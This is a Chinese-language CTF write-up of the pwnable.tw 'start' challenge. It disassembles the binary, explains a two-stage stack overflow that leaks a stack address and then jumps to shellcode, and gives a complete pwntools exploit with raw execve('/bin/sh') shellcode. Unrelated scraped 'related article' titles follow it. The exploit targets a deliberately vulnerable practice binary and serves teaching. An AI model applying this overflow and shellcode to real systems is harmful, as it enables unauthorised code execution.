Pwnable.tw—start

最近比赛玩了好几天的pwn,发现老是差点火候,开始正式刷刷Pwnable.tw看看。

题目分析:

checksec :

第一次遇到什么防护都不开的程序,兴奋。

IDA:
题目只有start和exit。
检测栈有点问题,不能够F5,强行看汇编。。。

.text:08048060                 public _start
.text:08048060 _start          proc near
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    ':FTC'
.text:08048073                 push    ' eht'
.text:08048078                 push    ' tra'
.text:0804807D                 push    'ts s'
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn
.text:0804809C _start          endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit           proc near               ; DATA XREF: _start+1o
.text:0804809D                 pop     esp
.text:0804809E                 xor     eax, eax
.text:080480A0                 inc     eax
.text:080480A1                 int     80h             ; LINUX - sys_exit
.text:080480A1 _exit           endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text           ends
.text:080480A1
.text:080480A1
.text:080480A1                 end _start

汇编代码直接采用了系统调用,
具体的翻译可以看这个:
Linux Sysycall Reference
把这个汇编翻译成C:

(并不是很想用软件画QAQ)
下面是翻译的代码:

void start()
{buf[20]="Let's start the CTF:";sys_write(1,buf,20);sys_read(0,buf,60);
}
void exit()
{sys_exit();
}

思路分析:

1.没有保护,在buf开始写入shellcode,直接栈溢出,跳到buf的位置,然后执行即可。
但是buf只有20位,shellcode有21-44位,行不通。Pass!

2.既然堆不够那就看栈,先跳到buf的首地址08048087,跳到利用write函数leak出&buf的栈地址,然后再利用read在栈的溢出位置&buf+20的位置写入shellcode,从而二次溢出时跳到栈的位置+20即shellcode的栈位置从而执行栈上的shellcode。

执行测试:

先leak出buf的地址。
代码:

#coding:utf-8
from pwn  import *file_name="./start"
context(log_level = 'debug', arch = 'i386', os = 'linux')
p=process(file_name)#本地
#p=remote('pwnable.kr',9000)#远程
buf_ar=0x8048087
def leak():p.recv(100)payload='A'*20+p32(buf_ar)p.send(payload)k=p.recv(4)return hex(u32(k))
buf_sta=leak()
print "buf's stack address is:",buf_sta

结果如下:

程序到这里有会有read。
所以再后面来一次栈溢出,执行shellcode。
由于用pwn的shellcraft.sh的位数多于60位,所以要换一个shellcode。

exp:

#coding:utf-8
from pwn  import *file_name="./start"
context(log_level = 'debug', arch = 'i386', os = 'linux')
#p=process(file_name)#本地
p=remote('chall.pwnable.tw',10000)#远程
#shellcode=asm(shellcraft.sh())
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'buf_ar=0x8048087def leak():p.recv(100)payload='A'*20+p32(buf_ar)p.send(payload)k=p.recv(4)return u32(k)
def get_pwn(addr):payload='A'*20+p32(addr+20)+shellcode#print "payload len is :",len(payload)p.send(payload)p.interactive()
buf_sta=leak()
print "buf's stack address is:",buf_sta
get_pwn(buf_sta)

pwnable.tw---start相关推荐

  1. pwnable.tw startorw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  2. Pwnable.tw之BookWriter

    Pwnable.tw之BookWriter 知识点 FSOP是FILE Stream Oriented Programming的缩写, 进程内所有的_IO_FILE结构会使用_chain域相互连接成一 ...

  3. pwnable.tw unexploitable 分析

    这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...

  4. 【pwnable.tw】 death_note

    题目逻辑比较简单,大概增加和删除和打印三个功能: show函数中,打印各日记内容,由于这题没有给出libc文件,应该不需要泄露地址,估计用处不大: delete函数中,正常的free,然后指针修改为n ...

  5. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  6. linux 获取 基地址,linux - 每个函数加载的glibc基地址不同。 - SO中文参考 - www.soinside.com...

    我试图计算一个二进制文件的库的基地址.我有printf,putes ecc的地址,然后我减去它的偏移量,得到库的基地址.我对printf,putes和signal这样做,但每次我得到的基地址都不一样. ...

  7. PWN-PRACTICE-BUUCTF-18

    PWN-PRACTICE-BUUCTF-18 ciscn_2019_final_3 ciscn_2019_s_9 jarvisoj_level5 pwnable_hacknote ciscn_2019 ...

  8. 64位c语言调用32位glibc,glibc fclose源代码阅读及伪造_IO_FILE利用fclose实现任意地址执行...

    简介 最近学习了一下_IO_FILE的利用,刚好在pwnable.tw上碰到一道相关的题目.拿来做了一下,遇到了一些困难,不过顺利解决了,顺便读了一波相关源码,对_IO_FILE有了更深的理解. 文章 ...

  9. shellcode执行盒_简单shellcode学习

    引言 之前遇到没开启NX保护的时候,都是直接用pwtools库里的shellcode一把梭,也不太懂shellcode代码具体做了些什么,遇到了几道不能一把梭的题目,简单学习一下shellcode的编 ...

  10. 计算机、网络安全、CTF资源总结-The_Growth_Path_Of_A_Pwner(一名安全从业者的成长之路)

    The_Growth_Path_Of_A_Pwner(一名安全从业者的成长之路) github项目,会不断更新,求个star! https://github.com/tangzichengcc/The ...

最新文章

  1. NOIp #2010
  2. 为什么报表里面记录的创建时间 比我们电脑客户端的世界时间 隔8个小时?这个是什么原因?...
  3. maven java archetype_使用Maven Archetype创建Java项目模板
  4. MongoDB- 简单操作命令
  5. jdk1.8 ConcurrentHashMap
  6. 无界面chrome + selenium爬虫
  7. SQL Server 2008中SQL之WaitFor
  8. django mysql socket_django mysql 读写分离
  9. python : sha256 、ripemd160
  10. PhotoshopCS4的抽出滤镜下载及安装方法
  11. 【Rust日报】2020-05-05:窥探Zoom, Lambda部署, slip等
  12. android 手机自动登录,Android:程序跳过登录界面直接进入主界面(自动登录)
  13. 为个人博客添加文章评论功能
  14. 2011年恒生电子校园招聘笔试题目
  15. 计算机毕业设计Android的手机音乐播放器app(源码+系统+mysql数据库+Lw文档)
  16. MT41K256M16TW-107 AUT:P美光内存颗粒D9TRN
  17. Nginx服务器的使用
  18. internet时间和域
  19. 【单片机】Keil5如何新建工程
  20. 07年博士考题整理合集!

热门文章

  1. 基于JSP的房屋租赁管理系统
  2. windows10应用商店下安装kali子系统
  3. c# winform 浏览器调用chrome内核
  4. idea保存快捷键_idea 快捷键
  5. 地理大数据下载网址推荐
  6. 超市库存管理java sql_超市仓库管理系统的设计与实现(MySQL)
  7. 测试部门工作周报模板
  8. 公式经纬度换算度分秒,度分秒换算经纬度
  9. HackerRank做题
  10. 微信公众平台开发者模式和编辑模式有什么用